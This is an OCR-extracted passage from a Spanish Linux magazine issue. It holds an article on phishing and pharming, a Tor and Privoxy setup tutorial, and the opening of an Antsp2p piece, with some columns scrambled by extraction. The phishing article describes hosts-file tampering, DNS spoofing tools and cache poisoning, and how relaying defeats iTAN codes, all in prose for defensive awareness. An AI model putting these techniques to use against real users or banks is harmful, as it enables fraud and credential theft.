elimina la incertidumbre causada por la dependencia en la cooperación humana. Aunque la problemática del robo de identidad en Internet no es nada nueva, se ha detectado un claro incremento en los últimos meses. Ha pasado un año desde que se realizó un estudio estadístico por los expertos en investigación de mercado de Gartner[2] sobre este tema tan llamativo. Investigaciones más recientes, de Junio del año pasado, mostraron claramente el impacto económico asociado al phising y al pharming. Los investigadores han detectado una pérdida clara de la confianza de los consumidores en los negocios on-line, produciendo como resultado un incremento del coste y del riesgo de inversión tanto para las empresas como para los consumidores. Y por último, pero no menos importante, el Grupo de Trabajo Anti-Phishing (Anti Phishing Working Group, APWG) ha destacado un incremento constante de los ataques phishing y un considerable incremento en crimeware desde Abril de 2005: se ha duplicado el código malicioso detectado entre Abril y Julio de 2005 [2]. Estos peligros no son sólo hipotéticos; causan un daño real. El 10% de los que
Número 20
21
PORTADA • Phishing
y vender en Ebay. El atacante se apropia de la identidad de la víctima. La mejor protección contra el phishing es el sentido común en combinación con Spam Assassin. Las víctimas potenciaFigura 1: Un correo de phising pregunta a un usuario para que les pueden actualice la información de su cuenta de eBay. identificar emails y sitios web frauduparticiparon en una encuesta confiesan lentos simplemente comprobando la que han sufrido pérdidas económicas URL en sus navegadores, y por el hecho debido a correos electrónicos de phising. de que la comunicación no está normalAunque estos datos pueden no ser ofimente encriptada (el icono del candado ciales, definitivamente muestran cómo en la esquina inferior derecha de la vende real es el peligro. tana del navegador está abierto). Pero algunos sitios maliciosos están empeEn la Red zando a usar SSL para conexiones Como mencionamos antes, los phishers seguras. El navegador comprueba el cerfalsifican mensajes de emails de proveetificado y alerta al usuario de que el sitio dores de servicios muy conocidos para seleccionado no coincide con el sitio engañar a sus víctimas y lograr que visipara el cual el certificado ha sido emiten sitios web maliciosos. Una vez la tido, o no proviene de una organización víctima accede al sitio malicioso, el phisde confianza, pero muchos usuarios no her intenta engañarla para que revele atienden a estas alertas y simplemente datos de identificación (usuario y conlas ignoran. Estos nos dejan a la URL traseña), números PIN o datos de la como único medio de identificación de tarjeta de crédito. Los ataques de phisla estafa. hing están orientados principalmente a El Viejo e Inseguro MSIE los más importantes bancos y sitios web dedicados al e-Comercio tales como CitiUna vulnerabilidad en las antiguas verbank, PayPal o Ebay. En la Figura 1 se siones del Explorador de Internet de muestra el típico mensaje de phishing. Microsoft permite adicionalmente a los En contraste a muchos emails de atacantes falsificar la barra de URL, el phishing menos depurados, en este caso icono del candado SSL y la vista del cerel usuario no es alertado por los tificado. En estos casos el candado se evidentes errores de deletreo y encontrará cerrado, los datos del certifigramaticales. Errores de este tipo cado aparecerán correctos y la barra de proporcionan con frecuencia una pista, URL nos mostrará la dirección puesto que muchos de los mensajes de correcta… una falsificación perfecta. La phishing han sido creados por gente única protección contra esto es la actuacuyo idioma nativo no es el nuestro. lización de nuestra versión de MSIE, o Una víctima que pulse sobre el enlace personalizar la versión del navegador es conducida al sitio web del atacante, instalado para lograr que la falsificación que normalmente se parecerá mucho al o engaño visual sea más o menos impositio original (Figura 2), excepto que el sible. sitio suplantado contiene con frecuencia Spam Assassin puede ser útil en la errores de deletreo o gramaticales, detección de emails falsificados. Las puesto que dichos sitios son con freúltimas versiones de esta herramienta cuencia creados por criminales detectarán normalmente la mayoría de internacionales que usan herramientas los correos de phishing. Filtrar los automáticas de traducción. Si la víctima mensajes entrantes con Spam Assassin finalmente introduce los datos solicitanos protegerá en gran medida contra los dos en ese sitio, el atacante podría ataques phishing conocidos. usarlos para transferir dinero o comprar Naturalmente ni siquiera Spam Assassin
22
Número 20
WWW.LINUX- MAGAZINE.ES
puede protegernos contra mensajes phishing desconocidos con anterioridad. Los chicos malos ganan una considerable suma de dinero con estos ataques. Los delincuentes están organizados con frecuencia en grupos criminales. El sitio Internet News.com calcula que el daño financiero causado en los Estados Unidos en el año 2003 fue de 1,2 billones (entendido como mil millones y no un millón de millones).
Mucho Más Prometedor Puesto que el phishing depende de la complicidad del usuario, y como factor humano que es puede hacer peligrar el éxito del ataque, los hackers maliciosos han ideado métodos para incrementar las probabilidades a su favor. El pharming no depende de un email para atraer mediante engaños a la víctima a un sitio malicioso. En vez de esto, un servidor de DNS comprometido lleva a la víctima directamente a ese sitio. Los usuarios normalmente no escriben las direcciones IP de su banco en el navegador; en su lugar escriben los nombres DNS del sitio. El servicio de Internet DNS es quien resuelve la dirección, y es precisamente este proceso de resolución de direcciones el que es explotado por los pharmers. El ataque es realmente sencillo en los sistemas Windows de Microsoft usando un virus que modifique el fichero System32/drivers/etc/hosts. Si los usuarios introducen los pares nombre del host/dirección IP en este fichero, el navegador irá derecho a la dirección IP cuando el usuario intente acceder al nombre del sitio. Naturalmente la dirección IP dirige a la víctima al sitio web malicioso del atacante. Normalmente la víctima se cree segura, después de todo no están accediendo al sitio desde un email, sino que han sido ellos los que han introducido la dirección. Para prevenir este ataque, los expertos en seguridad recomiendan proteger contra escritura el fichero de hosts. Pero puesto que los troyanos normalmente asumen privilegios de administrador, este tipo de protección es generalmente inútil. Además, variantes más recientes utilizan un vector diferente: introducir un servidor DNS malicioso, ejecutado por el
Phishing • PORTADA
Figura 2: Un usuario que pulsa sobre el enlace de la Figura 1 es dirigido a una página web muy parecida a la página de entrada de eBay, pero… ¿realmente dónde está?
pharmer, en las propiedades de red del sistema operativo. En este caso, la protección contra escritura del fichero de hosts no ayudará para nada.
Suplantación DNS Un vector de ataque alternativo requiere que el atacante monitorice las peticiones de resolución DNS, y responda en su lugar en vez del servidor DNS genuino. Para hacer esto el atacante debe estar localizado en algún lugar de la vecindad de la víctima para lograr “esnifar” las peticiones de resolución de nombre. Naturalmente existen multitud de herramientas capaces de esto. Linux tiene la legendaria Dsniff de Dug Song, por ejemplo, con su comando dnsspoof. Incluso Windows tiene una herramienta gráfica apodada Cain&Abel [3]. Pero existen gran número de herramientas que soportan este tipo de ataques; los atacantes pueden además usar técnicas de suplantación ARP para rastrear respuestas DNS o comprometer sesiones SSL usando técnicas Man-in-the-Middle (MitM).
Envenenamiento Caché
de
la
Sin embargo la aproximación más efectiva para el pharmer es envenenar la caché del servidor DNS. Aunque esta vulnerabilidad es bien conocida desde hace años, se sorprenderían de la cantidad de servidores DNS vulnerables que aún lo siguen siendo. Dan Kaminsky investigó alrededor de 2,5 millones de servidores en Julio del 2005 y averiguó que alrededor del 10% de los servidores DNS están abiertos a este tipo de ataques de envenenamiento. En un escenario de envenenamiento de caché (Figura 3), el atacante primero busca un nombre para el cual su propio servidor de nombres está autorizado (por ejemplo www.hackingexample.com) en el servidor de caché de DNS vulnerable (1). El servidor de caché DNS no tendrá dicha información, y por tanto irá al servidor DNS del pharmer (2) en busca de ayuda. El servidor DNS del pharmer responderá a la petición, y al mismo tiempo le devuelve sus propias entradas para los nombres DNS www.anybigbank.com y www. yetanotherbigbank.com (3). El servidor de caché DNS añade esta información a su
WWW.LINUX- MAGAZINE.ES
propia caché junto con la dirección IP para www.hackingexample.com. A continuación el servidor de nombre responde a la petición para www.hackingexample.com (4). Ahora, cuando la víctima consulta al servidor de DNS comprometido por www.anybigbank.com o www. yetanotherbigbank.com, el servidor DNS encontrará los datos solicitados en su propia caché y no preguntará al servidor de nombres autorizados para dicha dirección. El servidor devolverá entonces la dirección IP falsa, proporcionada a éste por el atacante, a la víctima. Todo lo que el pharmer necesita ahora es un servidor web con un sitio malicioso ejecutándose en la dirección IP que ha sido deslizada a la víctima. Los ataques de encadenamientos de nombres son una versión más avanzada del envenenamiento de la caché ya que involucran que el atacante enlace la propia búsqueda DNS con la denominada “sección adicional” de una forma poco común. La respuesta no contendrá una dirección IP, sino un puntero al nombre del host del servidor de redirección. En nuestro ejemplo anterior la respuesta podría ser algo como “www. hackinexample.com es un alias para www.anybigbank.com”, y como “sección adicional”, “www.anybigbank.com resuelve a 192.0.2.1”. No hay forma de prevenir la inyección de información de suplantación del atacante mediante la comprobación de si la entrada “sección adicional” coincide con la búsqueda solicitada. En cuanto un nuevo agujero de seguridad es descubierto en el software de servidor DNS, firewall o cualquier producto similar el pharmer tratará de aprovecharlo. Y esto es exactamente lo que ocurrió en Marzo del 2005 con el firewall de Symantec. En Junio de 2004 [4] se revelaron detalles de un error en la caché DNS de este producto, pero no todas las instalaciones fueron parcheadas para Marzo del siguiente año. Esto permitió que fuera posible un ataque a larga escala de envenenamiento de caché DNS [5]. Una variante de este ataque intenta manipular la caché del lado del cliente en las máquinas Windows o Linux, en vez de centrarse en la caché del servidor. Para lograrlo el atacante se aproxima de la siguiente forma: primero
Número 20
23
PORTADA • Phishing
Figura 3: Para envenenar la caché de la DNS el atacante necesita montar su propio servidor de nombres.
envía un aparentemente inocuo correo electrónico a la víctima; el correo contiene una imagen que apunta al dominio www.example-attacker.com. El cliente tiene que consultar al servidor de nombres autorizados para descubrir la dirección IP, y es así como comienza el ataque de envenenamiento de caché. El servidor DNS no sólo provee una entrada para www.example-attacker. com, al mismo tiempo envenena la caché del PC cliente directamente, deslizando una dirección IP falsa al cliente para www.anymajorbank.com. La siguiente vez que el cliente intente acceder a la página web del banco, el confiado usuario será teletransportado al sitio web malicioso.
mTAN, iTAN, eTAN Tras muchos años de usar el método PIN/TAN para las transacciones electrónicas, los bancos tratan ahora de mejorar la seguridad bancaria on-line con una nueva aproximación a los TANs (números de transacción). Con el método iTAN el banco le da al cliente una lista indexada de TAN. Cuando el cliente intenta realizar una transferencia bancaria, el banco le solicita un TAN con un número de índice determinado. Si el cliente termina en una página maliciosa, el pharmer no sabrá qué TAN solicitar. La aproximación iTAN es usada hoy en día por muchos bancos y sociedades, y muchas más planean usarla.
24
Número 20
El método eTAN requiere la entrega al cliente de un dispositivo electrónico. Cuando el cliente desea realizar una transferencia, el banco le envía un número aleatorio; el cliente debe introducir el número en el dispositivo , éste es similar a una calculadora. El aparato calcula entonces una respuesta específica para el cliente que es devuelta por éste al banco para realizar la transferencia. El método eTAN es usado, por ejemplo, por GE Money Bank. El método mTAN utiliza el móvil del cliente para autorizar las transacciones. Cuando un cliente desea realizar una transferencia de dinero el banco envía un pequeño mensaje con un número TAN y alguna información adicional al móvil del cliente. Éste comprueba los detalles de la transferencia e introduce el TAN para autorizar la transacción. El TAN sólo es válido para una transferencia. El método iTAN es inseguro si el atacante no almacena el dato en la página web maliciosa sino que reenvía este dato al auténtico banco, como una especie de proxy transparente. Todo lo que tiene que hacer el atacante es modificar la cantidad y los detalles de la cuenta antes de pasar los datos al banco. El banco entonces solicita el iTAN al atacante; el atacante devuelve la petición directamente a la víctima quién amablemente escribe el correcto iTAN.
WWW.LINUX- MAGAZINE.ES
El método mTAN parece ser el único genuinamente seguro; en la actualidad necesitas iTAN para habilitar el método. El cliente selecciona el sistema mTAN, y entonces el banco envía una clave de registro al móvil del cliente. A continuación el cliente debe introducir dicha clave de registro en un formulario, y es preguntado por un iTAN para habilitar el método mTAN. Los números de móvil existentes en mTAN pueden ser eliminados sin ninguna otra verificación adicional. Desafortunadamente no parece previsible que este sistema logre sobrevivir, puesto que mTAN añade un coste a la transacción. Además hay que añadir a esto el hecho de que el futuro de mTAN parece inseguro en una época caracterizada por hackeos Bluetooth, virus para móviles y troyanos. Y no olvidemos que siempre hay un riesgo de pérdida del móvil.
HBCI es Seguro HBCI es el único mecanismo capaz de proporcionar auténtica seguridad en estos momentos, sin embargo, puesto que HCBI es complejo y requiere un incremento en la inversión de hardware adicional en forma de smartcards y lectores de tarjeta, no muchos bancos la soportan, y menos son los consumidores que la usan. Los clientes no usan PINs y xTAN para autentificarse aquí, sino que usan certificados X.509 y las claves privadas correspondientes; en el otro extremo de la conexión, el servidor web del banco necesita del mismo tipo de credenciales para identificarse frente al usuario. Para prevenir que un atacante pueda simplemente acceder en la propia casa de la víctima y apropiarse de su clave privada, la clave es almacenada en una smartcard, la cual adicionalmente protege la llave frente a accesos de lecturas no autorizados. Para ser capaz de utilizar la clave privada para firmar transacciones, el usuario siempre necesita una smartcard. Para prevenir a un atacante que ha logrado la posesión de la smartcard de hacer un mal uso de ella, la clave en la smartcard está protegida adicionalmente con un PIN. Los clientes son solicitados a introducir el PIN para autentificarse frente a la smartcard. Para frustrar a los troyanos y a los programas que registran las pulsaciones del teclado los intentos
Phishing • PORTADA
de conseguir el PIN de los clientes desde su máquina, los lectores smartcard Class 2 tienen integrado un panel numérico que permite al usuario escribir el PIN en ellos directamente. Sin embargo, el mensaje que debe ser firmado es con frecuencia mostrado en el PC para permitir al cliente su verificación. Esto puede abrir un vector de ataque a un troyano localizado entre el lector de tarjeta y el PC. En este caso un usuario podría firmar transacciones que no desea firmar. Los dispositivos smartcard Class 3 proveen de auténtica seguridad. Esta vez el texto que ha de ser firmado no debería mostrarse nunca en el PC (porque es demasiado largo para ser mostrado desde el lector de tarjeta) puesto que esto volvería otra vez a comprometer la seguridad. En las aplicaciones de banca on-line los datos críticos, tales como el número de cuenta de destino, el código de identificación del banco y la cantidad puedan ser mostrados en el lector de tarjeta, proporcionando a los clientes una solución donde ellos pueden estar seguros de lo que firman.
Protección vía Certificados SSL de Clientes Todas estas soluciones ignoran un problema: en las viejas aplicaciones el servidor bancario se autentifica frente a los clientes. Los clientes deben estar seguros de que están en comunicación con el servidor correcto, y para lograr esto, necesitan ser capaces de distinguir una conexión SSL fraudulenta de una conexión legítima. La experiencia diaria sugiere que depender del cliente no siempre resuelve el problema: hay una razón, los usuarios tienden a pulsar descontroladamente el ratón a la hora de eliminar mensajes de error sin ni siquiera pararse a leerlos. Un mensaje de error ya no es una sorpresa para los usuarios. Hay otra razón, los clientes generalmente desconocen el modo en el que funcionan las conexiones SSL. Varios de los intentos realizados por los bancos para formar a sus clientes a este respecto no han tenido siempre el resultado esperado. Algunas de las políticas usadas en la actualidad dan al usuario una falsa sensación de seguridad, tales como el mostrar el logotipo de certificación SSL en la página principal desprotegida del banco.
Un método interesante para conseguir más protección frente a los ataques de phishing y pharming consiste en invertir la dirección de la autentificación y forzar al cliente (el PC o navegador del cliente, para ser más preciso) a autentificarse frente al banco. Los bancos pueden usar para ello certificados SSL para cada cliente. Los bancos pueden emitir un certificado a un cliente una vez comprobada la legitimidad del mismo (esto puede realizarse en la misma sucursal bancaria), y el cliente puede instalar este certificado en su propio PC. Los clientes necesitan presentar dicho certificado cuando deseen establecer una conexión con el servidor del banco. El certificado puede así mismo protegerse con un PIN frente a usos no autorizados. Para impedir ataques de engaño o falsificación visual de la identidad del banco, se podrían introducir técnicas para la autentificación visual. El banco podría esperar algún tipo de identificación visual del cliente, que sería transmitida por medio de un canal seguro; los atacantes podrían encontrar extremadamente difícil falsificar algún tipo de identificador visual del cliente. Un problema de este procedimiento es que el comportamiento on-line del cliente medio podría colisionar con este tipo de procedimiento. Las estadísticas bancarias revelan que la mayoría de las transacciones tienen lugar en los descansos de los clientes para la comida, por lo que suelen hacer uso de los ordenadores de la oficina. Algunos entornos pueden impedir que esto suceda, puesto que normalmente los usuarios tienen normalmente ciertas restricciones en los privilegios de uso de sus ordenadores de oficina. Algún tipo de token conectado por USB podría resolver estos problemas, pero esto volvería a presentar un incremento en el coste del procedimiento.
Situación Legal El phishing y el pharming presentan algunos problemas legales en varios campos. Una cuestión importante es quién es actualmente responsable de la transacción fraudulenta. El banco puede intentar reclamar alguna compensación a la víctima de la estafa por la cantidad de dinero transferida por el phisher. Una transferencia bancaria funciona de una
WWW.LINUX- MAGAZINE.ES
manera similar a esto: el banco, consultado por una cantidad de dinero (el banco de la víctima en este caso) transfiere una suma de dinero al atacante. El banco querrá tomar el dinero de la cuenta de la víctima como reembolso de la transacción. Incluso si está claro que la transacción no tiene la aprobación de la víctima, el banco puede reclamar daños por la cantidad desembolsada. La entidad bancaria puede entonces tener que probar su caso ante los tribunales; en otras palabras, el banco debe probar que el cliente ha ordenado la transferencia, y normalmente no podrá hacerlo. Naturalmente todos estos procedimientos dependen de las leyes y normas locales. Como mínimo, incluso si la víctima tiene éxito en evitar tener que pagar por el dinero sustraído por el phisher, el acontecimiento siempre termina en una larga tormenta de cartas, amenazas y problemas burocráticos.
Conclusiones Aun está por ver cuando llegará la primera gran ola de ataques de tipo pharming, pero considerando el hecho de que una importante proporción de servidores de nombres por todo el mundo son vulnerables al envenenamiento de la caché, el peligro es muy real y difícil de predecir. Lo importante para los usuarios es pensar antes de bucear por Internet, especialmente si uno es consultado sobre datos de carácter personal. Bancos, plataformas de subastas online y tiendas web necesitan trabajar en la concienciación sobre temas de seguridad a sus clientes. Probablemente este sea el único camino para parar el mal uso a larga escala del pago online y de ■ los sistemas bancarios.
RECURSOS [1] Grupo Gartner: http://www.gartner. com [2] Anti Phishing Working Group (APWG): http://www.antiphishing.org [3] Cain&Abel: http://www.oxid.it [4] Vulnerabilidad en el Cortafuegos de Symantec: http://securityresponse. symantec.com/avcenter/security/ Content/2004.06.21.html [5] Ataque de la caché de DNS: http://isc. sans.org/diary.php?date=2005-03-04
Número 20
25
PORTADA • Privoxy
Navegación Anónima con Tor y Privoxy
AGENTE SECRETO Normalmente los usuarios de Internet revelan sus direcciones IP, lo que permite a las empresas recopilar información para elaborar un perfil de sus actividades en Internet. Tor y Privoxy pueden ayudarle a proteger su privacidad. POR KRISTIAN KISSLING
L
a epidemia de investigación de mercado basada en Internet continúa: muchas empresas investigan de forma rutinaria los hábitos de navegación por Internet de sus clientes, una forma barata y transparente de espionaje. Incluso en algunos países represivos puede que los gobiernos tam-
bién estén pendientes de por donde navegamos. Privoxy [1] y Tor [2] se encargan de librarse de los espías. Un navegador normalmente dialoga con un servidor remoto, la mayor parte de las veces un sitio web, y el servidor web que alberga el sitio registra los datos correspondientes al acceso. El cliente Tor evita que las solicitudes vayan directamente al destino, siendo reenviadas a través de un proxy que se ejecuta en la propia máquina del usuario a través de un número de nodos hasta el denominado nodo de salida, el cual se encarga de dialogar con la máquina de destino (Figura 1). La versión servidor de Tor actúa como uno de los nodos intermediarios de la cadena. El nombre “Tor” es el acrónimo de “The Onion Router” (El router cebolla). Los usuarios particulares normalmente ejecutarán Tor como cliente, conocido comunmente como “Onion Proxy”.
Esta estructura presenta un problema: si los datos que se solicitan pasan a través de varios nodos antes de llegar a la máquina del usuario, cualquier “Onion Router” podría registrar la actividad del usuario. Por este motivo se negocia una clave secreta entre el “Onion Proxy” del usuario en casa y cada nodo del camino hasta el nodo de salida. La clave impide que nodos no autorizados se inmiscuyan en la conversación. Encriptando los datos en múltiples capas se asegura que solamente el “Onion Proxy” del usuario sea capaz de acceder a los datos. Este sistema de protección también impide que los operadores de los nodos puedan desencriptar el tráfico que pase por ellos. El resultado de este esquema es que los datos se parecen mucho a una cebolla (onion) , cubiertos por múltiples capas de encriptación. El nodo de salida rompe la piel y pasa los datos al destino final, aunque no tiene forma de saber qué máquina realizó originariamente la solicitud. Ninguno de los “Onion Routers” conocen al “Onion Proxy”, lo que significa que el operador del “Onion Router” no tiene forma de saber qué datos están pasando a través de sus nodos. La información es reempaquetada en el camino de regreso al destino y permanece encriptada hasta el proxy que se está ejecutando en la máquina del usuario que se encarga de ir pelando las capas de cebolla hasta quedarse con los datos en cuestión. Este esquema hace que sea imposible por parte de un tercero, incluyendo al proveedor, saber qué datos se solicitan o se envían; la persona que ejecuta la máquina de destino sólo puede ver la dirección IP del nodo de salida, que puede ser cualquiera del mundo.
Instalando Tor Tor es todavía un programa bastante joven, como muestra el número de versión; al tiempo de escribir este artículo no tiene una interfaz. Los usuarios de Suse pueden
26
Número 20
WWW.LINUX- MAGAZINE.ES
Privoxy • PORTADA
Luego como root se ejecuta apt-get update para indicarle al gestor de paquetes el software que se encuentra en la nueva dirección especificada. Ahora simplemente se instala con apt-get install tor.
Vamos… Vamos a probar Tor. Tras abrir una ventana de consola se teclea tor. Después de un momento se podrá leer un mensaje que dice Figura 1: Tor reenvía las peticiones web a través de una serie de “Tor has successfully openodos intermediarios para ocultar la identidad del usuario. ned a circuit. Looks like it’s working” (Tor ha descargar el código fuente de la versión abierto un circuito con éxito. Parece que funestable 0.1.0.16 y comenzar instalando las ciona) (Figura 2). Si aún no se está herramientas Automake. Autoconf y convencido y quiere asegurarse, sólo hay que Automake están incluidas. Además harán buscar en Google my ip. Esto mostrará unas falta los compiladores GCC y GCC-C++. cuantas páginas que no sólo indican la direcYaST carga automáticamente las bibliotecas ción IP del ordenador, sino otros detalles como adicionales requeridas. Es imprescindible pueden ser el país en el que probablemente se instalar los ficheros de cabecera Openssl-devel encuentra, el sistema operativo y el navegador y Zlib-devel junto con la biblioteca Libevent que se está usando o incluso las páginas web [3]. que se han visitado recientemente. Los usuarios con Suse 9.3 no pueden utiliPara engañar a estos sitios primero hay que zar YaST para instalar Tor; en su lugar tienen indicarle al navegador que envíe el tráfico a que descargar el código fuente desde [2] y través del “Onion Proxy” de Tor. Si se tiene seguir los pasos típicos de instalación: ./confiFirefox, en Preferences se selecciona Connecgure, make y make install. Esto debería tion Settings | Manual Proxy Configuration. Se funcionar bien. Suse 9.3 también necesita una introduce 127.0.0.1 como el SOCKS Host y entrada nueva en /etc/ld.so.conf para poder 9050 como puerto (Figura 3). A continuación localizar la biblioteca. Se añade la ruta /usr/lib se selecciona la entrada SOCKS v4 y se finaliza y luego (como root) se ejecuta ldconfig para la configuración: el actualizar la información de la ruta. navegador enviará en Para los usuarios de Debian los pasos son este momento todo el bastante sencillos; sólo hay que añadir la tráfico a través del siguiente entrada en /etc/apt/sources.list: puerto 9050 y Tor lo reenviará a Internet. deb http://mirrorU Los usuarios de Mozi.noreply.org/U lla tendrán que realizar pub/tor sarge main la configuración en deb-src http://U Edit | Preferences | mirror.noreply.org/U Advanced | Proxies. pub/tor sarge main Ahora, cuando se consulte la dirección
Figura 2: Tor ha abierto con éxito un circuito y se lo indica al usuario.
Glosario Chroot: Una medida de seguridad que hace corresponder el directorio raíz para Privoxy a /var/lib, impidiendo de este modo a los posibles atacantes acceder a directorios superiores del sistema de ficheros.
IP, los resultados serán diferentes de los obtenidos anteriormente: el servidor web piensa que vivimos en Alemania (Figura 4)… parece que Tor realmente funciona. Si se tiene instalado Suse y se desea que Tor se ejecute automáticamete cuando se endienda la máquina, hay que añadir como root la línea /usr/local/bin/tor & al fichero /etc/rc.d/boot.local; en Debian, un fichero denominado /etc/rc0.d/K20tor se asegura de que Tor se ejecute automáticamente cada vez que arranque el sistema. Tor tiene un problema que la mayoría de los programas de encriptación y de anonimato poseen en común: la encriptación tiende a ralentizar considerablemente las comunicaciones con los servidores webs remotos.
Y como postre, Privoxy Tor no elimina del todo el riesgo que presenta la navegación. Como seguramente sabrá, el navegador necesita buscar la dirección de la máquina de destino enviando una solicitud a un servidor DNS; el servidor resuelve el nombre del servidor (como www.linux-magazine. com) a la dirección IP (212.227.104.121). Posteriormente, el servidor DNS envía la dirección IP de vuelta al navegador. Si alguien comprobase los ficheros de registro del servidor DNS podría averiguar qué máquina ha
Figura 3: Configurando a Tor como el servidor proxy del navegador web.
WWW.LINUX- MAGAZINE.ES
Número 20
27
PORTADA • Privoxy
Figura 4: El sitio web cree que el usuario vive en Alemania, ya que el nodo de salida que contacta con el servidor se está ejecutando en un servidor alemán.
buscado www.linux-magazine.com y cuándo. Privoxy puede impedir esto utilizando Socks 4a, que, al contrario que los Socks 4 y Socks 5, no necesitan convertir los nombres de equipo a direcciones IP. Privoxy es un proxy de filtrado para HTTP que a menudo se utiliza junto con Tor. Puede leerse todo lo referente a Privoxy como filtro web en el número de Linux Magazine edición en castellano de Diciembre de 2005 [4].
Instalando Privoxy Los usuarios con Suse 9.3 y 10.0 simplemente tienen que ejecutar YaST para instalar Privoxy. Si se tiene Debian, se teclea apt-get install privoxy. Una vez terminada la instalación, Suse ejecutará Privoxy automáticamente cada vez que se encienda la máquina; para que no ocurra esto, hay que ejecutar YaST, ir a la solapa System y hacer clic en el botón Runlevel Editor. Suse Linux ejecuta a Privoxy en una jaula Chroot. Privoxy se ejecuta normalmente en Debian de manera automática tras la instalación; si no sucediera, se puede ejecutar como root el siguiente comando: /etc/init.d/privoxy restart. El siguiente paso es indicarle a Privoxy que reenvíe las peticiones Socks de Tor. Para el reenvío de estas peticiones Socks, los usuarios de Suse tienen que editar el fichero /var/lib/privoxy/etc/config e introducir la siguiente línea debajo del quinto elemento. FORWARDING: forward-socks4a / U 127.0.0.1:9050 .
Téngase en cuenta el punto que aparece tras el número del puerto; si se olvida de
28
Número 20
Figura 5: La extensión “Switch Proxy” de Firefox proporciona una solución sencilla para habilitar y deshabilitar un conjunto de proxies.
ponerlo, no se realizará ningún reenvío. Para Debian es preciso modificar el mismo fichero, que en este caso se encuentra en /etc/privoxy. Ahora hay que actualizar la configuración del proxy en Firefox y Mozilla de modo que refleje los cambios. Es necesario introducir la dirección IP 127.0.0.1 y el puerto 8118 en la configuración del proxy. En este momento se puede volver a mostrar la página anterior que mostraba la dirección IP. Si la dirección IP es correcta, Privoxy está funcionando correctamente, pero si esta dirección IP es otra distinta a la correcta, entonces es que Tor también está funcionando.
Un Cambio Rápido Anteriormente, si se utilizó el navegador web en modo mixto, es decir, haciendo uso de la función de anonimato algunas veces y desactivada en otras, no había otra alternativa que conmutar manualmente el proxy a encendido o apagado. Afortunadamente esto ha cambiado: ahora disponemos de una extensión Switch Proxy para Mozilla y Firefox, que se puede instalar haciendo doble clic en el enlace Gets more extensions en la ventana Extensions [5]. Después de reiniciar el navegador web, se debería tener una nueva barra de estado para Switch Proxy (Figura 5). Para configurar Tor y Privoxy como el nuevo proxy, hay que hacer clic en Add, seleccionar la entrada Standard y luego hacer clic en Next. Aparece una ventana que permite la configuración del nuevo proxy. No hay que olvidar asignarle un nombre a esta configuración para poder identificarla posteriormente. Cuando se haya finalizado sólo hay que hacer clic en
WWW.LINUX- MAGAZINE.ES
Ok. Para conmutar entre las distintas configuraciones del proxy se usa la lista junto a la entrada Proxy .
Siendo un Agente de Microsoft ¿Qué razón tenemos para decirles a todos que usamos Linux y preferimos como navegador a Firefox?. No hay ninguna buena razón para revelar esta información, especialmente si ciertas páginas dan un portazo a los usuarios de Linux. La extensión User Agent Switcher [6] nos ayuda a realizar esta tarea. Después de instalarlo y reiniciar el navegador web, se selecciona User Agent Switcher en el menú Tools y se escoge Internet Explorer 6 (u Opera 8.5 si se prefiere); el User Agent Switcher nos debería identificar en este momento como Internet Explorer… afortunadamente, esto no significa que tengamos los problemas de seguridad que vienen con ■ el navegador Internet Explorer real.
RECURSOS [1] El proyecto Privoxy: http://www. privoxy.org/ [2] Tor: http:// tor.eff.org/ [3] Libevent como Suse-RPM: http:// linux01.gwdg.de/~pbleser/ rpm-navigation.php?cat=Libraries/ libevent/ [4] “Los Guardianes”, de Thomas Leichtenstern; Linux Magazine edición en castellano nº12, 2005; p. 40. [5] La extensión Switch Proxy de Firefox y Mozilla: https://addons.mozilla.org/ extensions/moreinfo. php?application=firefox&id=125 [6] El User Agent Switcher para Mozilla y Firefox: http://chrispederick.com/ work/useragentswitcher/
Antsp2p • PORTADA
Compartir archivos de manera anónima con Antsp2p
HORMIGUITAS
Compartir archivos se ha convertido en el pasatiempo favorito de muchos usuarios de Internet. Pero las aplicaciones convencionales para compartir archivos tienen un gran inconveniente: no son anónimas. El proyecto Antsp2p pretende cambiar esto.
POR KRISTIAN KISSLING
L
as aplicaciones más conocidas para compartir archivos revelan las direcciones IP de los usuarios. Esto significa que si participamos en una red convencional de intercambio de archivos, alguien podría llegar a descubrir quiénes somos, y llevado al extremo, dónde vivimos. Este problema está de rabiosa actualidad debido a las recientes demandas judiciales de la industria musical y cinematográfica. Dependiendo de qué lugar del mundo hablemos, el temor a una demanda es menor en comparación con una querella criminal. Algunos países más represivos mantienen un férreo control sobre el uso de Internet, y cualquiera que opere al margen de los censores oficiales está en riesgo de quedar bajo arresto. Estas tensiones dentro de la comunidad del intercambio de archivos han dado lugar a un nuevo
fenómeno: las redes de pares (P2P) anónimas. El intercambio anónimo es una importante tendencia en la evolución de Internet. Los clientes basados en Java para la red de intercambio anónima Antsp2p [1] nos muestran lo lejos que han llegado estos proyectos a la hora de conseguir el objetivo del anonimato. “La privacidad es un derecho
Riesgos Potenciales de Seguridad El protocolo Diffie-Hellman Key Exchange Protocol introduce un elemento de riesgo. Un atacante que lleva a cabo un ataque de tipo “un hombre en medio” puede interceptar la clave secreta y usarla para descifrar los paquetes de información en la conexión. Sin embargo, se prevee introducir un certificado de intercambio que permita solucionar este fallo.
WWW.LINUX- MAGAZINE.ES
fundamental en todo el mundo y debe ser protegido”, comenta Gwren, jefe de desarrollo de Antsp2p, en una reciente entrevista [2]. ¿Cómo ayuda esta prometedora herramienta a proteger la privacidad del usuario? ¿Y qué tiene que ver el intercambio de archivos con las hormigas? Siga leyendo para adentrarse en el mundo del intercambio de archivos con Antsp2p.
El Rastro de las Feromonas En la red Antsp2p el ordenador de un usuario pasa automáticamente a ser un nodo o par y reenvía información cifrada de manera transparente a otros usuarios. Para entrar en la red el cliente intenta en primer lugar localizar direcciones IP próximas. Las hormigas siguen usualmente el rastro más fuerte de feromonas hasta
Número 20
29
PORTADA • Antsp2p
